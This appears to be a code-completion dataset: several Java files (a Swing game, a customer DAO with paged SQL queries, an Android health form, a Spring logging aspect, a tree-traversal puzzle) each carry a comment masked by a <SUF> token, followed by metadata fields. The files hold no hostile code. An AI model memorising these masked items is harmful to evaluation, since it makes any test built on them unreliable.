y-=10; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); icon=new ImageIcon("hero0.png"); a.setIcon(icon); } } else if(e.getKeyCode()==KeyEvent.VK_S){ if(y<980-icon.getIconHeight()){ y+=10; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); icon=new ImageIcon("hero1.png"); a.setIcon(icon); } } else if(e.getKeyCode()==KeyEvent.VK_D){ if(x<485-icon.getIconWidth()){ x+=10; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight() ); icon=new ImageIcon("hero0.png"); a.setIcon(icon); } }else if(e.getKeyCode()==KeyEvent.VK_J){ cszd=cszd-1; zidan.setText("剩余子弹:"+String.valueOf(cszd)); if(w>=100){ x=10000; y=10000; a.setBounds(x, y, icon.getIconWidth(),icon.getIconHeight()); jm.setVisible(false); new shibai(); }else{ jm.add(a3[w]); new jim().run1(w); w=w+1; } } } } public void keyReleased(KeyEvent e){ { if(e.getKeyCode()==KeyEvent.VK_A){ icon=new ImageIcon("hero1.png"); a.setIcon(icon); } else if(e.getKeyCode()==KeyEvent.VK_W){ icon=new ImageIcon("hero1.png"); a.setIcon(icon); } else if(e.getKeyCode()==KeyEvent.VK_S){ icon=new ImageIcon("hero1.png"); a.setIcon(icon); } else if(e.getKeyCode()==KeyEvent.VK_D){ icon=new ImageIcon("hero1.png"); a.setIcon(icon); } } } }); } }
0
2,155
5
2,737
5
2,594
5
2,737
5
3,605
8
false
false
false
false
false
true
27745_23
package dao; import cn.itcast.jdbc.TxQueryRunner; import domain.Customer; import domain.pageBean; import org.apache.commons.collections.buffer.CircularFifoBuffer; import org.apache.commons.dbutils.QueryRunner; import org.apache.commons.dbutils.handlers.BeanHandler; import org.apache.commons.dbutils.handlers.BeanListHandler; import org.apache.commons.dbutils.handlers.ScalarHandler; import java.util.ArrayList; import java.util.List; import java.util.spi.CurrencyNameProvider; /** * dao是Data Access Object的缩写(数据访问接口),进行数据库相关操作 * TxQueryRunner它是QueryRunner的子类!(引自commons-dbutils.jar) * 可用起来与QueryRunner相似的! * 支持事务!它底层使用了JdbcUtils来获取连接! * * 简化jdbc的操作 * QueryRunner的三个方法: * * update() --> insert、update、delete * * query() --> select * * batch() --> 批处理 * 详细信息请查看“关于引入第三方包的说明.txt” */ public class CustomerDao { private QueryRunner qr=new TxQueryRunner(); //没有给对象提供连接池 //使用sql添加客户信息 public void add(Customer c) { try { String sql = "insert into t_customer values(?,?,?,?,?,?)"; Object[] paramas = {c.getId(), c.getName(), c.getGender(), c.getPhone(), c.getEmail(), c.getDescription()}; //要确保数据顺序与数据库中插入元素顺序一致 qr.update(sql, paramas); //更新数据库,执行sql,不提供连接,它内部会使用JdbcUtils来获取连接 } catch (Exception e) { throw new RuntimeException(e); } } //查询所有 public pageBean<Customer> findAll(int pageNum,int pageRecord){ /** * 创建pb对象 * 设置pb的(当前页码)pageNum和(每页记录数)pageRecord * 得到(总记录数)totalRecord,设置给pb * 得到(当前页面记录数)beanlist,赋值给pb * 最后返回pb * * 实际上没有使用这个方法,而是用下面的query方法 * query方法包含了findAll方法的这种情况(即传递的参数都为空) */ try{ pageBean<Customer> pb=new pageBean<Customer>(); pb.setPageNum(pageNum); pb.setPageRecord(pageRecord); String sql="select count(*) from t_customer"; Number number=(Number) qr.query(sql,new ScalarHandler<>()); //ScalarHandler参数为空,返回第一行第一列的数据 int totalRecord=number.intValue(); //总记录数 pb.setTotalRecord(totalRecord); //sql="select * from t_customer order by name limit ?,?"; //mysql数据库中 :从第m行开始,向下取第n行的写法 /**sqlserver 分页写法(使用于sqlserver2012以上) * 要取从第m行开始之后n行的记录时 * 固定传递每页的记录数 * 可以按某一属性排序(order by) */ StringBuilder firstSql=new StringBuilder("select * from t_customer"); StringBuilder whereSql=new StringBuilder(" where 1=1 "); StringBuilder nextSql=new StringBuilder(" order by id offset ? row fetch next ? row only"); List<Object> params=new ArrayList<>(); params.add((pageNum-1)*pageRecord); params.add(pageRecord); List<Customer> beanList=qr.query(firstSql.append(whereSql).append(nextSql).toString(),new BeanListHandler<Customer>(Customer.class),params.toArray()); //Object[] params={pageRecord,(pageNum-1)*pageRecord}; //第m行开始后n行数据,即每一页固定显示的数据 //List<Customer> beanList=qr.query(sql,new BeanListHandler<>(Customer.class),params);//获取结果集的第一行数据,并将其封装到JavaBean对象 pb.setBeanList(beanList); return pb; }catch(Exception e){ throw new RuntimeException(e); } } //根据id查询加载客户 public Customer find(String id){ try{ String sql="select * from t_customer where id=?"; return qr.query(sql,new BeanHandler<Customer>(Customer.class),id);//同上面注释 }catch(Exception e){ throw new RuntimeException(e); } } //修改操作 public void edit(Customer customer){ try{ String sql="update t_customer set name=?,gender=?,phone=?,email=?,description=? where id=?"; Object[] params={customer.getName(),customer.getGender(),customer.getPhone(),customer.getEmail(),customer.getDescription(),customer.getId()}; qr.update(sql,params); }catch(Exception e){ throw new RuntimeException(e); } } //删除操作 public void delete(String id){ try{ String sql="delete from t_customer where id=?"; qr.update(sql,id); }catch(Exception e){ throw new RuntimeException(e); } } //多条件组合查询 public pageBean<Customer> query(Customer customer,int pageNum,int pageRecord){ try{ pageBean<Customer> pb=new pageBean<Customer>(); pb.setPageNum(pageNum); pb.setPageRecord(pageRecord); StringBuilder cntSql=new StringBuilder("select count(*) from t_customer"); //StringBuilder对象为动态对象,允许扩充它所封装字符串中字符的数量 StringBuilder whereSql=new StringBuilder(" where 1=1 "); //条件始终为true,在不定数量查询条件下,可以很好的规范语句 List<Object> params=new ArrayList<>(); //创建一个ArrayList,用来装载参数值 //按名字查询 String name=customer.getName(); if(name!=null && !name.trim().isEmpty()){ whereSql.append(" and name like ? "); params.add("%"+name+"%"); //模糊查询,含有输入的name的字符串都会被找出 } //按性别查询 String gender=customer.getGender(); if(gender!=null && !gender.trim().isEmpty()){ whereSql.append(" and gender=? "); params.add(gender); } //按电话号码查询 String phone=customer.getPhone(); if(phone!=null && !phone.trim().isEmpty()){ whereSql.append(" and phone like ? "); params.add("%"+phone+"%"); //模糊查询,含有输入的phone的字符串都会被找出 } //按邮箱查询 String email=customer.getEmail(); if(email!=null && !email.trim().isEmpty()){ whereSql.append(" and email like ? "); params.add("%"+email+"%"); //模糊查询,含有输入的email的字符串都会被找出 } //得到总记录数,赋给totalRecord Number num=qr.query(cntSql.append(whereSql).toString(),new ScalarHandler<>(),params.toArray()); int totalRecord=num.intValue(); pb.setTotalRecord(totalRecord); //取每一页的记录 StringBuilder firstSql=new StringBuilder("select * from t_customer"); StringBuilder nextSql=new StringBuilder(" order by id offset ? row fetch next ? row only"); params.add((pageNum-1)*pageRecord); params.add(pageRecord); List<Customer> beanList=qr.query(firstSql.append(whereSql).append(nextSql).toString(),new BeanListHandler<Customer>(Customer.class),params.toArray()); pb.setBeanList(beanList); return pb; }catch(Exception e){ throw new RuntimeException(e); } } }
2427595858/Customer-Information-Management
src/dao/CustomerDao.java
1,827
//按性别查询
line_comment
zh-cn
package dao; import cn.itcast.jdbc.TxQueryRunner; import domain.Customer; import domain.pageBean; import org.apache.commons.collections.buffer.CircularFifoBuffer; import org.apache.commons.dbutils.QueryRunner; import org.apache.commons.dbutils.handlers.BeanHandler; import org.apache.commons.dbutils.handlers.BeanListHandler; import org.apache.commons.dbutils.handlers.ScalarHandler; import java.util.ArrayList; import java.util.List; import java.util.spi.CurrencyNameProvider; /** * dao是Data Access Object的缩写(数据访问接口),进行数据库相关操作 * TxQueryRunner它是QueryRunner的子类!(引自commons-dbutils.jar) * 可用起来与QueryRunner相似的! * 支持事务!它底层使用了JdbcUtils来获取连接! * * 简化jdbc的操作 * QueryRunner的三个方法: * * update() --> insert、update、delete * * query() --> select * * batch() --> 批处理 * 详细信息请查看“关于引入第三方包的说明.txt” */ public class CustomerDao { private QueryRunner qr=new TxQueryRunner(); //没有给对象提供连接池 //使用sql添加客户信息 public void add(Customer c) { try { String sql = "insert into t_customer values(?,?,?,?,?,?)"; Object[] paramas = {c.getId(), c.getName(), c.getGender(), c.getPhone(), c.getEmail(), c.getDescription()}; //要确保数据顺序与数据库中插入元素顺序一致 qr.update(sql, paramas); //更新数据库,执行sql,不提供连接,它内部会使用JdbcUtils来获取连接 } catch (Exception e) { throw new RuntimeException(e); } } //查询所有 public pageBean<Customer> findAll(int pageNum,int pageRecord){ /** * 创建pb对象 * 设置pb的(当前页码)pageNum和(每页记录数)pageRecord * 得到(总记录数)totalRecord,设置给pb * 得到(当前页面记录数)beanlist,赋值给pb * 最后返回pb * * 实际上没有使用这个方法,而是用下面的query方法 * query方法包含了findAll方法的这种情况(即传递的参数都为空) */ try{ pageBean<Customer> pb=new pageBean<Customer>(); pb.setPageNum(pageNum); pb.setPageRecord(pageRecord); String sql="select count(*) from t_customer"; Number number=(Number) qr.query(sql,new ScalarHandler<>()); //ScalarHandler参数为空,返回第一行第一列的数据 int totalRecord=number.intValue(); //总记录数 pb.setTotalRecord(totalRecord); //sql="select * from t_customer order by name limit ?,?"; //mysql数据库中 :从第m行开始,向下取第n行的写法 /**sqlserver 分页写法(使用于sqlserver2012以上) * 要取从第m行开始之后n行的记录时 * 固定传递每页的记录数 * 可以按某一属性排序(order by) */ StringBuilder firstSql=new StringBuilder("select * from t_customer"); StringBuilder whereSql=new StringBuilder(" where 1=1 "); StringBuilder nextSql=new StringBuilder(" order by id offset ? row fetch next ? row only"); List<Object> params=new ArrayList<>(); params.add((pageNum-1)*pageRecord); params.add(pageRecord); List<Customer> beanList=qr.query(firstSql.append(whereSql).append(nextSql).toString(),new BeanListHandler<Customer>(Customer.class),params.toArray()); //Object[] params={pageRecord,(pageNum-1)*pageRecord}; //第m行开始后n行数据,即每一页固定显示的数据 //List<Customer> beanList=qr.query(sql,new BeanListHandler<>(Customer.class),params);//获取结果集的第一行数据,并将其封装到JavaBean对象 pb.setBeanList(beanList); return pb; }catch(Exception e){ throw new RuntimeException(e); } } //根据id查询加载客户 public Customer find(String id){ try{ String sql="select * from t_customer where id=?"; return qr.query(sql,new BeanHandler<Customer>(Customer.class),id);//同上面注释 }catch(Exception e){ throw new RuntimeException(e); } } //修改操作 public void edit(Customer customer){ try{ String sql="update t_customer set name=?,gender=?,phone=?,email=?,description=? where id=?"; Object[] params={customer.getName(),customer.getGender(),customer.getPhone(),customer.getEmail(),customer.getDescription(),customer.getId()}; qr.update(sql,params); }catch(Exception e){ throw new RuntimeException(e); } } //删除操作 public void delete(String id){ try{ String sql="delete from t_customer where id=?"; qr.update(sql,id); }catch(Exception e){ throw new RuntimeException(e); } } //多条件组合查询 public pageBean<Customer> query(Customer customer,int pageNum,int pageRecord){ try{ pageBean<Customer> pb=new pageBean<Customer>(); pb.setPageNum(pageNum); pb.setPageRecord(pageRecord); StringBuilder cntSql=new StringBuilder("select count(*) from t_customer"); //StringBuilder对象为动态对象,允许扩充它所封装字符串中字符的数量 StringBuilder whereSql=new StringBuilder(" where 1=1 "); //条件始终为true,在不定数量查询条件下,可以很好的规范语句 List<Object> params=new ArrayList<>(); //创建一个ArrayList,用来装载参数值 //按名字查询 String name=customer.getName(); if(name!=null && !name.trim().isEmpty()){ whereSql.append(" and name like ? "); params.add("%"+name+"%"); //模糊查询,含有输入的name的字符串都会被找出 } //按性 <SUF> String gender=customer.getGender(); if(gender!=null && !gender.trim().isEmpty()){ whereSql.append(" and gender=? "); params.add(gender); } //按电话号码查询 String phone=customer.getPhone(); if(phone!=null && !phone.trim().isEmpty()){ whereSql.append(" and phone like ? "); params.add("%"+phone+"%"); //模糊查询,含有输入的phone的字符串都会被找出 } //按邮箱查询 String email=customer.getEmail(); if(email!=null && !email.trim().isEmpty()){ whereSql.append(" and email like ? "); params.add("%"+email+"%"); //模糊查询,含有输入的email的字符串都会被找出 } //得到总记录数,赋给totalRecord Number num=qr.query(cntSql.append(whereSql).toString(),new ScalarHandler<>(),params.toArray()); int totalRecord=num.intValue(); pb.setTotalRecord(totalRecord); //取每一页的记录 StringBuilder firstSql=new StringBuilder("select * from t_customer"); StringBuilder nextSql=new StringBuilder(" order by id offset ? row fetch next ? row only"); params.add((pageNum-1)*pageRecord); params.add(pageRecord); List<Customer> beanList=qr.query(firstSql.append(whereSql).append(nextSql).toString(),new BeanListHandler<Customer>(Customer.class),params.toArray()); pb.setBeanList(beanList); return pb; }catch(Exception e){ throw new RuntimeException(e); } } }
0
1,619
4
1,827
5
1,889
4
1,827
5
2,392
10
false
false
false
false
false
true
32696_2
package com.vice.bloodpressure.activity.auser; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.CheckBox; import android.widget.EditText; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.TextView; import androidx.annotation.Nullable; import com.vice.bloodpressure.R; import com.vice.bloodpressure.baseui.UIBaseActivity; import com.vice.bloodpressure.utils.PickerViewUtils; import java.util.ArrayList; import java.util.List; /** * 作者: beauty * 类名: * 传参:type 1:抽烟 2:喝酒 * 描述:抽烟喝酒的编辑数量 */ public class UserSmokeDrinkActivity extends UIBaseActivity { private TextView titleTextView; private CheckBox yesCb; private CheckBox noCb; private LinearLayout smokeLinerLayout; private EditText smokeNumEt; private ImageView arrowImageView; private TextView typeTv; private EditText drinkNumEt; private LinearLayout drinkLinerLayout; private TextView sureTv; /** * 1:抽烟 2:喝酒 */ private String type; private String drinkType = "0"; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); type = getIntent().getStringExtra("type"); initView(); initListener(); } private void initListener() { yesCb.setOnCheckedChangeListener((buttonView, isChecked) -> { if (isChecked) { noCb.setChecked(false); arrowImageView.setVisibility(View.VISIBLE); arrowImageView.setVisibility(View.VISIBLE); } else { noCb.setChecked(true); } }); noCb.setOnCheckedChangeListener((buttonView, isChecked) -> { if (isChecked) { yesCb.setChecked(false); } else { yesCb.setChecked(true); } }); typeTv.setOnClickListener(v -> { chooseDrinkTypeWindow(); }); sureTv.setOnClickListener(v -> { Intent intent = new Intent(); if ("1".equals(type)) { intent.putExtra("isCheck", yesCb.isChecked() ? "1" : "0"); intent.putExtra("smokeNum", smokeNumEt.getText().toString().trim()); } else { intent.putExtra("isCheck", yesCb.isChecked() ? "1" : "0"); intent.putExtra("drinkNum", drinkNumEt.getText().toString().trim()); intent.putExtra("drinkType", drinkType); } setResult(RESULT_OK, intent); finish(); }); } /** * 酒的种类 */ private void chooseDrinkTypeWindow() { List<String> exerciseList = new ArrayList<>(); exerciseList.add("白酒"); exerciseList.add("啤酒"); exerciseList.add("红酒"); exerciseList.add("黄酒"); PickerViewUtils.showChooseSinglePicker(getPageContext(), "酒类", exerciseList, object -> { typeTv.setText(exerciseList.get(Integer.parseInt(String.valueOf(object)))); drinkType = exerciseList.get(Integer.parseInt(String.valueOf(object))); } ); } private void initView() { View view = View.inflate(getPageContext(), R.layout.activity_user_smoke_drink, null); containerView().addView(view); titleTextView = view.findViewById(R.id.tv_files_smoke_drink_title); yesCb = view.findViewById(R.id.cb_files_smoke_drink_yes); noCb = view.findViewById(R.id.cb_files_smoke_drink_no); smokeNumEt = view.findViewById(R.id.iv_files_smoke); arrowImageView = view.findViewById(R.id.et_files_smoke_drink_smoke_num); smokeLinerLayout = view.findViewById(R.id.ll_files_smoke); typeTv = view.findViewById(R.id.tv_files_smoke_drink_type); drinkNumEt = view.findViewById(R.id.et_files_smoke_drink_num); drinkLinerLayout = view.findViewById(R.id.ll_files_drink); sureTv = view.findViewById(R.id.tv_files_smoke_drink_sure); if ("1".equals(type)) { titleTextView.setText("是否吸烟"); smokeLinerLayout.setVisibility(View.VISIBLE); drinkLinerLayout.setVisibility(View.GONE); } else { titleTextView.setText("是否饮酒"); smokeLinerLayout.setVisibility(View.GONE); drinkLinerLayout.setVisibility(View.VISIBLE); } } }
243640yinyisen243640/NewPatient
app/src/main/java/com/vice/bloodpressure/activity/auser/UserSmokeDrinkActivity.java
1,142
/** * 酒的种类 */
block_comment
zh-cn
package com.vice.bloodpressure.activity.auser; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.CheckBox; import android.widget.EditText; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.TextView; import androidx.annotation.Nullable; import com.vice.bloodpressure.R; import com.vice.bloodpressure.baseui.UIBaseActivity; import com.vice.bloodpressure.utils.PickerViewUtils; import java.util.ArrayList; import java.util.List; /** * 作者: beauty * 类名: * 传参:type 1:抽烟 2:喝酒 * 描述:抽烟喝酒的编辑数量 */ public class UserSmokeDrinkActivity extends UIBaseActivity { private TextView titleTextView; private CheckBox yesCb; private CheckBox noCb; private LinearLayout smokeLinerLayout; private EditText smokeNumEt; private ImageView arrowImageView; private TextView typeTv; private EditText drinkNumEt; private LinearLayout drinkLinerLayout; private TextView sureTv; /** * 1:抽烟 2:喝酒 */ private String type; private String drinkType = "0"; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); type = getIntent().getStringExtra("type"); initView(); initListener(); } private void initListener() { yesCb.setOnCheckedChangeListener((buttonView, isChecked) -> { if (isChecked) { noCb.setChecked(false); arrowImageView.setVisibility(View.VISIBLE); arrowImageView.setVisibility(View.VISIBLE); } else { noCb.setChecked(true); } }); noCb.setOnCheckedChangeListener((buttonView, isChecked) -> { if (isChecked) { yesCb.setChecked(false); } else { yesCb.setChecked(true); } }); typeTv.setOnClickListener(v -> { chooseDrinkTypeWindow(); }); sureTv.setOnClickListener(v -> { Intent intent = new Intent(); if ("1".equals(type)) { intent.putExtra("isCheck", yesCb.isChecked() ? "1" : "0"); intent.putExtra("smokeNum", smokeNumEt.getText().toString().trim()); } else { intent.putExtra("isCheck", yesCb.isChecked() ? "1" : "0"); intent.putExtra("drinkNum", drinkNumEt.getText().toString().trim()); intent.putExtra("drinkType", drinkType); } setResult(RESULT_OK, intent); finish(); }); } /** * 酒的种 <SUF>*/ private void chooseDrinkTypeWindow() { List<String> exerciseList = new ArrayList<>(); exerciseList.add("白酒"); exerciseList.add("啤酒"); exerciseList.add("红酒"); exerciseList.add("黄酒"); PickerViewUtils.showChooseSinglePicker(getPageContext(), "酒类", exerciseList, object -> { typeTv.setText(exerciseList.get(Integer.parseInt(String.valueOf(object)))); drinkType = exerciseList.get(Integer.parseInt(String.valueOf(object))); } ); } private void initView() { View view = View.inflate(getPageContext(), R.layout.activity_user_smoke_drink, null); containerView().addView(view); titleTextView = view.findViewById(R.id.tv_files_smoke_drink_title); yesCb = view.findViewById(R.id.cb_files_smoke_drink_yes); noCb = view.findViewById(R.id.cb_files_smoke_drink_no); smokeNumEt = view.findViewById(R.id.iv_files_smoke); arrowImageView = view.findViewById(R.id.et_files_smoke_drink_smoke_num); smokeLinerLayout = view.findViewById(R.id.ll_files_smoke); typeTv = view.findViewById(R.id.tv_files_smoke_drink_type); drinkNumEt = view.findViewById(R.id.et_files_smoke_drink_num); drinkLinerLayout = view.findViewById(R.id.ll_files_drink); sureTv = view.findViewById(R.id.tv_files_smoke_drink_sure); if ("1".equals(type)) { titleTextView.setText("是否吸烟"); smokeLinerLayout.setVisibility(View.VISIBLE); drinkLinerLayout.setVisibility(View.GONE); } else { titleTextView.setText("是否饮酒"); smokeLinerLayout.setVisibility(View.GONE); drinkLinerLayout.setVisibility(View.VISIBLE); } } }
0
900
11
1,142
11
1,173
10
1,142
11
1,380
14
false
false
false
false
false
true
61614_4
package com.lgp.aop.aop; import org.aspectj.lang.JoinPoint; import org.aspectj.lang.annotation.Around; import org.aspectj.lang.annotation.Aspect; import org.aspectj.lang.annotation.Pointcut; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Component; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import javax.servlet.http.HttpServletRequest; import java.util.Arrays; /** * Created by IntelliJ IDEA. * User: a247292980 * Date: 2017/08/14 * <p> * 方法的aop */ @Aspect @Component public class FunctionAspect { protected org.slf4j.Logger logger = LoggerFactory.getLogger(FunctionAspect.class); /** * execution函数 * 用于匹配方法执行的连接点,语法为:execution(方法修饰符(可选) 返回类型 方法名 参数 异常模式(可选)) * 参数部分允许使用通配符: * * 匹配任意字符,但只能匹配一个元素 * .. 匹配任意字符,可以匹配任意多个元素,表示类时,必须和*联合使用 * + 必须跟在类名后面,如Horseman+,表示类本身和继承或扩展指定类的所有类 * 除了execution(),Spring中还支持其他多个函数,这里列出名称和简单介绍,以方便根据需要进行更详细的查询 * @annotation() 表示标注了指定注解的目标类方法 * 例如 @annotation(org.springframework.transaction.annotation.Transactional) 表示标注了@Transactional的方法 * args()通过目标类方法的参数类型指定切点 例如 args(String) 表示有且仅有一个String型参数的方法 * @args() 通过目标类参数的对象类型是否标注了指定注解指定切点 如 @args(org.springframework.stereotype.Service) 表示有且仅有一个标注了@Service的类参数的方法 * within()通过类名指定切点 如 with(examples.chap03.Horseman) 表示Horseman的所有方法 * @within() 匹配标注了指定注解的类及其所有子类 如 @within(org.springframework.stereotype.Service) 给Horseman加上@Service标注,则Horseman和Elephantman 的所有方法都匹配 * target()通过类名指定,同时包含所有子类 如 target(examples.chap03.Horseman) 且Elephantman extends Horseman,则两个类的所有方法都匹配 * @target() 所有标注了指定注解的类 如 @target(org.springframework.stereotype.Service) 表示所有标注了@Service的类的所有方法 * this() 大部分时候和target()相同,区别是this是在运行时生成代理类后,才判断代理类与指定的对象类型是否匹配 * */ /** * 定义有一个切入点,范围为service包下的类 */ @Pointcut("execution(public * com.lgp.aop.service.*.*(..))") public void service() { } @Around("service()") public void doAround(JoinPoint joinPoint) throws Throwable { // 接收到请求,记录请求内容 ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = attributes.getRequest(); // 记录下请求内容 System.out.println("URL : " + request.getRequestURL().toString()); System.out.println("HTTP_METHOD : " + request.getMethod()); System.out.println("IP : " + request.getRemoteAddr()); System.out.println("CLASS_METHOD : " + joinPoint.getSignature().getDeclaringTypeName() + "." + joinPoint.getSignature().getName()); System.out.println("ARGS : " + Arrays.toString(joinPoint.getArgs())); } }
247292980/spring-boot
aop/src/main/java/com/lgp/aop/aop/FunctionAspect.java
926
// 记录下请求内容
line_comment
zh-cn
package com.lgp.aop.aop; import org.aspectj.lang.JoinPoint; import org.aspectj.lang.annotation.Around; import org.aspectj.lang.annotation.Aspect; import org.aspectj.lang.annotation.Pointcut; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Component; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import javax.servlet.http.HttpServletRequest; import java.util.Arrays; /** * Created by IntelliJ IDEA. * User: a247292980 * Date: 2017/08/14 * <p> * 方法的aop */ @Aspect @Component public class FunctionAspect { protected org.slf4j.Logger logger = LoggerFactory.getLogger(FunctionAspect.class); /** * execution函数 * 用于匹配方法执行的连接点,语法为:execution(方法修饰符(可选) 返回类型 方法名 参数 异常模式(可选)) * 参数部分允许使用通配符: * * 匹配任意字符,但只能匹配一个元素 * .. 匹配任意字符,可以匹配任意多个元素,表示类时,必须和*联合使用 * + 必须跟在类名后面,如Horseman+,表示类本身和继承或扩展指定类的所有类 * 除了execution(),Spring中还支持其他多个函数,这里列出名称和简单介绍,以方便根据需要进行更详细的查询 * @annotation() 表示标注了指定注解的目标类方法 * 例如 @annotation(org.springframework.transaction.annotation.Transactional) 表示标注了@Transactional的方法 * args()通过目标类方法的参数类型指定切点 例如 args(String) 表示有且仅有一个String型参数的方法 * @args() 通过目标类参数的对象类型是否标注了指定注解指定切点 如 @args(org.springframework.stereotype.Service) 表示有且仅有一个标注了@Service的类参数的方法 * within()通过类名指定切点 如 with(examples.chap03.Horseman) 表示Horseman的所有方法 * @within() 匹配标注了指定注解的类及其所有子类 如 @within(org.springframework.stereotype.Service) 给Horseman加上@Service标注,则Horseman和Elephantman 的所有方法都匹配 * target()通过类名指定,同时包含所有子类 如 target(examples.chap03.Horseman) 且Elephantman extends Horseman,则两个类的所有方法都匹配 * @target() 所有标注了指定注解的类 如 @target(org.springframework.stereotype.Service) 表示所有标注了@Service的类的所有方法 * this() 大部分时候和target()相同,区别是this是在运行时生成代理类后,才判断代理类与指定的对象类型是否匹配 * */ /** * 定义有一个切入点,范围为service包下的类 */ @Pointcut("execution(public * com.lgp.aop.service.*.*(..))") public void service() { } @Around("service()") public void doAround(JoinPoint joinPoint) throws Throwable { // 接收到请求,记录请求内容 ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = attributes.getRequest(); // 记录 <SUF> System.out.println("URL : " + request.getRequestURL().toString()); System.out.println("HTTP_METHOD : " + request.getMethod()); System.out.println("IP : " + request.getRemoteAddr()); System.out.println("CLASS_METHOD : " + joinPoint.getSignature().getDeclaringTypeName() + "." + joinPoint.getSignature().getName()); System.out.println("ARGS : " + Arrays.toString(joinPoint.getArgs())); } }
0
826
7
926
6
916
5
926
6
1,273
9
false
false
false
false
false
true
60051_18
package 大厂算法题.微软DNF遍历; // 来自微软 // 给定两个数组A和B,比如 // A = { 0, 1, 1 } // B = { 1, 2, 3 } // A[0] = 0, B[0] = 1,表示0到1有双向道路 // A[1] = 1, B[1] = 2,表示1到2有双向道路 // A[2] = 1, B[2] = 3,表示1到3有双向道路 // 给定数字N,编号从0~N,所以一共N+1个节点 // 题目输入一定保证所有节点都联通,并且一定没有环 // 默认办公室是0节点,其他1~N节点上,每个节点上都有一个居民 // 每天所有居民都去往0节点上班 // 所有的居民都有一辆5座的车,也都乐意和别人一起坐车 // 车不管负重是多少,只要走过一条路,就耗费1的汽油 // 比如A、B、C的居民,开着自己的车来到D居民的位置,一共耗费3的汽油 // D居民和E居民之间,假设有一条路 // 那么D居民可以接上A、B、C,4个人可以用一辆车,去往E的话,就再耗费1的汽油 // 求所有居民去办公室的路上,最少耗费多少汽油 import java.util.ArrayList; public class TravelMinFuel { public static int cnt = 0; public static int minFuel(int[] a, int[] b, int n) { // 先建图 ArrayList<ArrayList<Integer>> graph = new ArrayList<>(); for (int i = 0; i <= n; i++) { graph.add(new ArrayList<>()); } for (int i = 0; i < a.length; i++) { graph.get(a[i]).add(b[i]); graph.get(b[i]).add(a[i]); } // 建图完毕 // 根据题目描述,办公室一定是0号点 // 所有员工一定是往0号点汇聚 int[] dfn = new int[n + 1]; int[] size = new int[n + 1]; int[] cost = new int[n + 1]; cnt = 0; dfs(graph, 0, -1, dfn, size, cost); return cost[0]; } public static void dfs(ArrayList<ArrayList<Integer>> graph, int cur, int pre, int[] dfn, int[] size, int[] cost) { dfn[cur] = ++cnt; size[cur] = 1; for (int next : graph.get(cur)) { if (next == pre) { continue; } dfs(graph, next, cur, dfn, size, cost); size[cur] += size[next]; cost[cur] += cost[next]; cost[cur] += (size[next] + 4) / 5; } } public static void main(String[] args) { int[] a1 = {0, 1, 1}; int[] b1 = {1, 2, 3}; int n1 = 3; System.out.println(minFuel(a1, b1, n1)); int[] a2 = {1, 1, 1, 9, 9, 9, 9, 7, 8}; int[] b2 = {2, 0, 3, 1, 6, 5, 4, 0, 0}; int n2 = 9; System.out.println(minFuel(a2, b2, n2)); } }
2497296400/LeetCode-Chi
src/大厂算法题/微软DNF遍历/TravelMinFuel.java
941
// 建图完毕
line_comment
zh-cn
package 大厂算法题.微软DNF遍历; // 来自微软 // 给定两个数组A和B,比如 // A = { 0, 1, 1 } // B = { 1, 2, 3 } // A[0] = 0, B[0] = 1,表示0到1有双向道路 // A[1] = 1, B[1] = 2,表示1到2有双向道路 // A[2] = 1, B[2] = 3,表示1到3有双向道路 // 给定数字N,编号从0~N,所以一共N+1个节点 // 题目输入一定保证所有节点都联通,并且一定没有环 // 默认办公室是0节点,其他1~N节点上,每个节点上都有一个居民 // 每天所有居民都去往0节点上班 // 所有的居民都有一辆5座的车,也都乐意和别人一起坐车 // 车不管负重是多少,只要走过一条路,就耗费1的汽油 // 比如A、B、C的居民,开着自己的车来到D居民的位置,一共耗费3的汽油 // D居民和E居民之间,假设有一条路 // 那么D居民可以接上A、B、C,4个人可以用一辆车,去往E的话,就再耗费1的汽油 // 求所有居民去办公室的路上,最少耗费多少汽油 import java.util.ArrayList; public class TravelMinFuel { public static int cnt = 0; public static int minFuel(int[] a, int[] b, int n) { // 先建图 ArrayList<ArrayList<Integer>> graph = new ArrayList<>(); for (int i = 0; i <= n; i++) { graph.add(new ArrayList<>()); } for (int i = 0; i < a.length; i++) { graph.get(a[i]).add(b[i]); graph.get(b[i]).add(a[i]); } // 建图 <SUF> // 根据题目描述,办公室一定是0号点 // 所有员工一定是往0号点汇聚 int[] dfn = new int[n + 1]; int[] size = new int[n + 1]; int[] cost = new int[n + 1]; cnt = 0; dfs(graph, 0, -1, dfn, size, cost); return cost[0]; } public static void dfs(ArrayList<ArrayList<Integer>> graph, int cur, int pre, int[] dfn, int[] size, int[] cost) { dfn[cur] = ++cnt; size[cur] = 1; for (int next : graph.get(cur)) { if (next == pre) { continue; } dfs(graph, next, cur, dfn, size, cost); size[cur] += size[next]; cost[cur] += cost[next]; cost[cur] += (size[next] + 4) / 5; } } public static void main(String[] args) { int[] a1 = {0, 1, 1}; int[] b1 = {1, 2, 3}; int n1 = 3; System.out.println(minFuel(a1, b1, n1)); int[] a2 = {1, 1, 1, 9, 9, 9, 9, 7, 8}; int[] b2 = {2, 0, 3, 1, 6, 5, 4, 0, 0}; int n2 = 9; System.out.println(minFuel(a2, b2, n2)); } }
0
837
6
941
6
914
4
941
6
1,150
8
false
false
false
false
false
true
27072_7
